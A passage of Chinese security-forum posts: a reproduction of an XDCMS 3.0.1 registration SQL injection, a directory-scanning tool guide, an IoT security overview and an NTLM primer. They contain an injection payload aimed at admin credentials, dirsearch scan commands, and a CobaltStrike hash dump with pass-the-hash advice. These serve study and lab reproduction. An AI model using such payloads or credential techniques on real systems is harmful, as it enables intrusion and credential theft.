showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username password 并且password 直接md5 两次加密了 ,只剩username了。 $username=safe_html($_POST['username']);找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+注入结果是这样的







 
但是我试了一下不行报错是这样的






看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 






还是不行   





 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}空格,单双引号,尖括号,大括号 双斜线 都被换为空 所以感觉应该不太好xss复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]  原因是数据库版本过低以上只是对文章的简单复现
------------------------------------------------------------------------------------
完。 查看全部
本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下


2.PNG


因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下
public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}
register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username  password  并且password 直接md5 两次加密了 ,只剩username了。
 
$username=safe_html($_POST['username']);
找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:
username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
注入结果是这样的


3.PNG


 
但是我试了一下不行报错是这样的

4.PNG


看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 

5.PNG


还是不行   

6.PNG

 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
空格,单双引号,尖括号,大括号 双斜线 都被换为空  所以感觉应该不太好xss
复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错
[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]   原因是数据库版本过低
以上只是对文章的简单复现 
------------------------------------------------------------------------------------
完。

web信息收集之目录扫描

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 82 次浏览 • 2020-03-22 22:03 • 来自相关话题

0X01  简述: 目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。
0X02  7kbscan: 个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。


下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。
0X03  sensinfor: 它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:


2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。







 
0X03  dirsearch: 这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:
 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。




       1、对config模块的介绍:








        2、简单的配置:








      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:




           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar
  查看全部
0X01  简述:
    目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。

0X02  7kbscan:
    个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。
1.png
下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。

0X03  sensinfor:
    它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。
使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:
2.png
  2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。
3.png

4.png

 
0X03  dirsearch:
    这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:

 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。
5.png

       1、对config模块的介绍:
6.png

7.png

        2、简单的配置:
8.png

9.png

      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:
10.png

           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:
参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar

 

浅谈物联网安全

安全资讯你可以叫我风平 发表了文章 • 0 个评论 • 53 次浏览 • 2020-03-20 15:38 • 来自相关话题

一、了解物联网
物联网安全在信息安全中的位置(侧重于网络安全方向)





 
IoT逐渐演化成为一种融合了传统网络、传感器、Ad Hoc无线网络、普适计算和云计算等信息与通信技术(Information and Communications Technology, ICT)的完整的信息产业链。

物联网是通过使用射频识别(Radio Frequency Identification,RFID)、传感器、红外感应器、全球定位系统、激光扫描器等信息采集设备,按约定的协议,把任何物品与互联网连接起来,进行信息交换和通讯,以实现智能化识别、定位、跟踪、监控和管理的一种网络。全方向)





 





 





 
物联网安全现状:
物联网市场发展迅速,终端数量剧增,安全隐患大,物联网产业链中安全环节占比低。物联网业务深入多个行业,全方位影响人民生活,相应的 安全问题也将带来严重威胁,甚至包括生命和财产安全
二、了解物联网安全
物联网安全指物联网硬件、软件及其系统中的数据收到保护,不受偶然的或者恶意的原因遭到破坏、更改、泄露,物联网系统可连续可靠正常地运行,物联网服务不中断。
物联网安全包括一切解决或缓解物联网网络技术应用过程中存在的安全威胁的技术手段或管理手段,也包括这些安全威胁本身及相关的活动。物联网安全威胁和物联网安全技术是网络安全含义最基本的表现。
物联网安全主要内容包括:
1.数据的安全
2.网络的安全
3.节点的安全
 
物联网安全属性:
基本属性:机密性、完整性、可用性,是处于计算机安全核心地位的三个关键目标,即CIA三元组,具体体现了对数据和信息的基本安全目标与计算服务。
机密性包括两个概念:
数据机密性:确保隐私或机密信息不能由非授权个人利用,或不能披露给非授权个人。
隐私性:确保个人能够控制个人信息的收集和存储,也能够控制这些信息可以由谁披露或向谁披露。

数据完整性:确保信息和程序只能在指定的或授权的方式下才能够改变。
系统完整性:确保系统在未受损的方式下执行预期的功能,避免对系统进行有意或无意的非授权操作。

可用性:确保系统能够迅速地进行工作,并且不能拒绝对授权用户的服务。
延伸属性:可认证性、可控性、不可抵赖性和不可否认性
可认证性:包括对等实体认证和数据源认证。
      对等实体认证:为连接中的对等实体提供身份确认。
      对等实体:当两个实体在不同系统中实现相同协议时,就说这两个实体是对等的。对等实体主要指用户应用实体。
      对等实体认证是指网络通信必须保证双方或多方间身份,对等实体身份的相互确认,这是网络间有效通信的前提。
      对等实体认证用在连接的建立阶段或者数据传输阶段。它视图提供以下保证:该实体没有进行假冒或对前面的连接进行非授权重放

数据的可核查性
是指用户不能抵赖自己曾做出的行为,也不能否认曾经接到对方的信息。
过程中主要面临如下威胁:
截获--攻击者从网络上窃听他人的通信内容
中断--攻击者有意中断他人在网络上的通信
篡改--攻击者故意篡改网络上传送的报文,使用户无法获得准确、有用的信息或落入攻击者的陷阱
伪造--攻击者伪造的信息在网络中传送





 
安全威胁的特性: 
必然性:信息系统的复杂性、开发性及人的因素都不可避免,因此网络安全威胁必然存在;
相对性:保证网络安全服务的质量需要付出资源及资金的代价,而且是成正比; 
配角特性:安全不是目标,得到安全可靠的服务和应用才是最终目标; 
动态特性:技术的发展及环境的变化,新的安全威胁会不断出现。





 
具体应用的安全:智能电网安全、M2M安全、EPCglobal安全、6LoWPAN安全、基于无线体域网的远程医疗安全等等
  查看全部
一、了解物联网
物联网安全在信息安全中的位置(侧重于网络安全方向)

1.png

 
IoT逐渐演化成为一种融合了传统网络、传感器、Ad Hoc无线网络、普适计算和云计算等信息与通信技术(Information and Communications Technology, ICT)的完整的信息产业链。

物联网是通过使用射频识别(Radio Frequency Identification,RFID)、传感器、红外感应器、全球定位系统、激光扫描器等信息采集设备,按约定的协议,把任何物品与互联网连接起来,进行信息交换和通讯,以实现智能化识别、定位、跟踪、监控和管理的一种网络。全方向)


2.png

 

3.png

 

4.png

 
物联网安全现状:
物联网市场发展迅速,终端数量剧增,安全隐患大,物联网产业链中安全环节占比低。物联网业务深入多个行业,全方位影响人民生活,相应的 安全问题也将带来严重威胁,甚至包括生命和财产安全

二、了解物联网安全
物联网安全指物联网硬件、软件及其系统中的数据收到保护,不受偶然的或者恶意的原因遭到破坏、更改、泄露,物联网系统可连续可靠正常地运行,物联网服务不中断。
物联网安全包括一切解决或缓解物联网网络技术应用过程中存在的安全威胁的技术手段或管理手段,也包括这些安全威胁本身及相关的活动。物联网安全威胁和物联网安全技术是网络安全含义最基本的表现。
物联网安全主要内容包括:
1.数据的安全
2.网络的安全
3.节点的安全

 
物联网安全属性:
基本属性:机密性、完整性、可用性,是处于计算机安全核心地位的三个关键目标,即CIA三元组,具体体现了对数据和信息的基本安全目标与计算服务。
机密性包括两个概念:
数据机密性:确保隐私或机密信息不能由非授权个人利用,或不能披露给非授权个人。
隐私性:确保个人能够控制个人信息的收集和存储,也能够控制这些信息可以由谁披露或向谁披露


数据完整性:确保信息和程序只能在指定的或授权的方式下才能够改变。
系统完整性:确保系统在未受损的方式下执行预期的功能,避免对系统进行有意或无意的非授权操作。


可用性:确保系统能够迅速地进行工作,并且不能拒绝对授权用户的服务。
延伸属性:可认证性、可控性、不可抵赖性和不可否认性
可认证性:包括对等实体认证和数据源认证。
      对等实体认证:为连接中的对等实体提供身份确认。
      对等实体:当两个实体在不同系统中实现相同协议时,就说这两个实体是对等的。对等实体主要指用户应用实体。
      对等实体认证是指网络通信必须保证双方或多方间身份,对等实体身份的相互确认,这是网络间有效通信的前提。
      对等实体认证用在连接的建立阶段或者数据传输阶段。它视图提供以下保证:该实体没有进行假冒或对前面的连接进行非授权重放


数据的可核查性
是指用户不能抵赖自己曾做出的行为,也不能否认曾经接到对方的信息。
过程中主要面临如下威胁:
截获--攻击者从网络上窃听他人的通信内容
中断--攻击者有意中断他人在网络上的通信
篡改--攻击者故意篡改网络上传送的报文,使用户无法获得准确、有用的信息或落入攻击者的陷阱
伪造--攻击者伪造的信息在网络中传送


5.png

 
安全威胁的特性: 
必然性:信息系统的复杂性、开发性及人的因素都不可避免,因此网络安全威胁必然存在;
相对性:保证网络安全服务的质量需要付出资源及资金的代价,而且是成正比; 
配角特性:安全不是目标,得到安全可靠的服务和应用才是最终目标; 
动态特性:技术的发展及环境的变化,新的安全威胁会不断出现。

6.png

 
具体应用的安全:智能电网安全、M2M安全、EPCglobal安全、6LoWPAN安全、基于无线体域网的远程医疗安全等等
 

【内网渗透】NTLM协议简介

渗透测试wuyou 发表了文章 • 0 个评论 • 65 次浏览 • 2020-03-19 20:01 • 来自相关话题

前言
在Windows身份验证机制中,有Kerberos协议和NTLM协议两种,之前在社区写过关于Kerberos协议的文章,所以接下来介绍一下NTLM协议
Kerberos协议主要应用于Windows域渗透中,而NTLM协议可以应用于任何含Windows机器的内网渗透中,所以说NTLM协议应用面更广,而且NTLM协议也更繁杂,可以说,在内网渗透时,你可以不会Kerberos协议,但你得懂NTLM协议
此文为NTLM协议的第一篇,用来粗略介绍一些基本概念
 
什么是NTLM协议
Windows机器在登录时,密码以Hash的形式保存在SAM文件中,域控主机保存在NTDS.dit文件中,其验证机制是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,称为NTLM协议




 
NTLM协议分为LM(Lan Manager)协议和NT(NT Lan Manager)协议,NT Lan Manager是对Lan Manager的升级,整体流程和Lan Manager机制没有太大的区别,但是将其中的响应计算方法换为更安全的算法。尝试用CobaltStrike抓取内存中的Hash:



Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::上面抓取的凭据以“:”作为分隔符,依次分别为 (用户名 : Uid : LM Hah : NT Hash)
客户端接收到服务器返回的8字节响应后,使用用户的NTLM Hash加密挑战,将生成的密文回复给服务器,服务器也存储了用户的NTLM Hash,同样使用NTLM Hash加密8字节的挑战,若其与接收到的客户端24字节响应相同则身份认证成功

因此,我们在成功抓取到用户的NTLM Hash后,一方面可以对其进行解密




若解密不成功,则可以直接进行PTH(Pass The Hash)攻击



 
LM hash与NT hash的不同点
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议
引用360灵腾实验室的一张图:




也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash,LM Hash将不再存在
 
那为何LM Hash不存在,但我们仍能抓到它的Hash呢?让我们来观察一下LM的加密方式
LM Hash的计算算法如下:
将用户密码明文转换为大写,并转换为OEM编码(ASCII等于其本身)密码补零或截断到14位,和分作前后2个部分,各7个字节(密码大于14在win xp上交替不存储LM Hash,但在NTLM认证时LM Hash是会按口令截断到14位计算)对7字节字符串的每7个比特后面添加1比特0,变成64比特的DES密钥将上面的2个密钥,使用DES算法,分别加密固定字符串KGS!@#$%,得到2个8字节的密文2个8字节的密文连成1个16字节的密文,称为LM Hash




 
LM Hash问题:
密码不区分大小写密码长度最大为14个字节,另外如果密码长度不超过7个字节,则LM Hash的后8个字节是固定值DES算法强度不够
 
以LM Hash的加密算法计算0即得AAD3B435B51404EE
若抓得LM Hash为AAD3B435B51404EEAAD3B435B51404EE​,则前后两部分都为0,则意味着目标以空来进行存储LM Hash
因此,在我们下次抓NTLM Hash时,若LM Hash不为AAD3B435B51404EEAAD3B435B51404EE,那很可能该目标以LM Hash来进行存储密码,且操作系统版本较低,接下来再观察后半部分是否为AAD3B435B51404EE,则可判断目标用户的密码长度是否大于8位
 
NT hash的生成方法:
将明文口令转换成十六进制的格式把十六进制转换成Unicode格式,每个字节之后添加0x00再对Unicode字符串作MD4加密,生成32位的十六进制数字串
 
后记
1、内网渗透中最重要的事就是凭证信息的收集并传递,以达到横向渗透的目的,因此,在拿到高权限shell后,及时抓取高频率NTLM Hash并进行传递是很重要的一步,但在有的内网环境中,所以Windows机器密码皆由一套算法随机定期生成,这时我们就要深入利用NTLM协议而不是简单的PTH来进行渗透
2、记得在以前刚学抓Hash时,一时之间不知道两个密码到底用哪个来进行解密,用第一个来进行解密显示一个“空”,用第二个来进行解密显示“暂无查询”,当时还怀疑人生了一会并尝试用空密码来进行远程桌面登录,所以说,原理的学习应该在实践之前
  查看全部
前言
在Windows身份验证机制中,有Kerberos协议和NTLM协议两种,之前在社区写过关于Kerberos协议的文章,所以接下来介绍一下NTLM协议
Kerberos协议主要应用于Windows域渗透中,而NTLM协议可以应用于任何含Windows机器的内网渗透中,所以说NTLM协议应用面更广,而且NTLM协议也更繁杂,可以说,在内网渗透时,你可以不会Kerberos协议,但你得懂NTLM协议
此文为NTLM协议的第一篇,用来粗略介绍一些基本概念
 
什么是NTLM协议
Windows机器在登录时,密码以Hash的形式保存在SAM文件中,域控主机保存在NTDS.dit文件中,其验证机制是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,称为NTLM协议
111.jpg

 
NTLM协议分为LM(Lan Manager)协议和NT(NT Lan Manager)协议,NT Lan Manager是对Lan Manager的升级,整体流程和Lan Manager机制没有太大的区别,但是将其中的响应计算方法换为更安全的算法。尝试用CobaltStrike抓取内存中的Hash:
222.jpg
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
上面抓取的凭据以“:”作为分隔符,依次分别为 (用户名 : Uid : LM Hah : NT Hash)
客户端接收到服务器返回的8字节响应后,使用用户的NTLM Hash加密挑战,将生成的密文回复给服务器,服务器也存储了用户的NTLM Hash,同样使用NTLM Hash加密8字节的挑战,若其与接收到的客户端24字节响应相同则身份认证成功

因此,我们在成功抓取到用户的NTLM Hash后,一方面可以对其进行解密
333.jpg

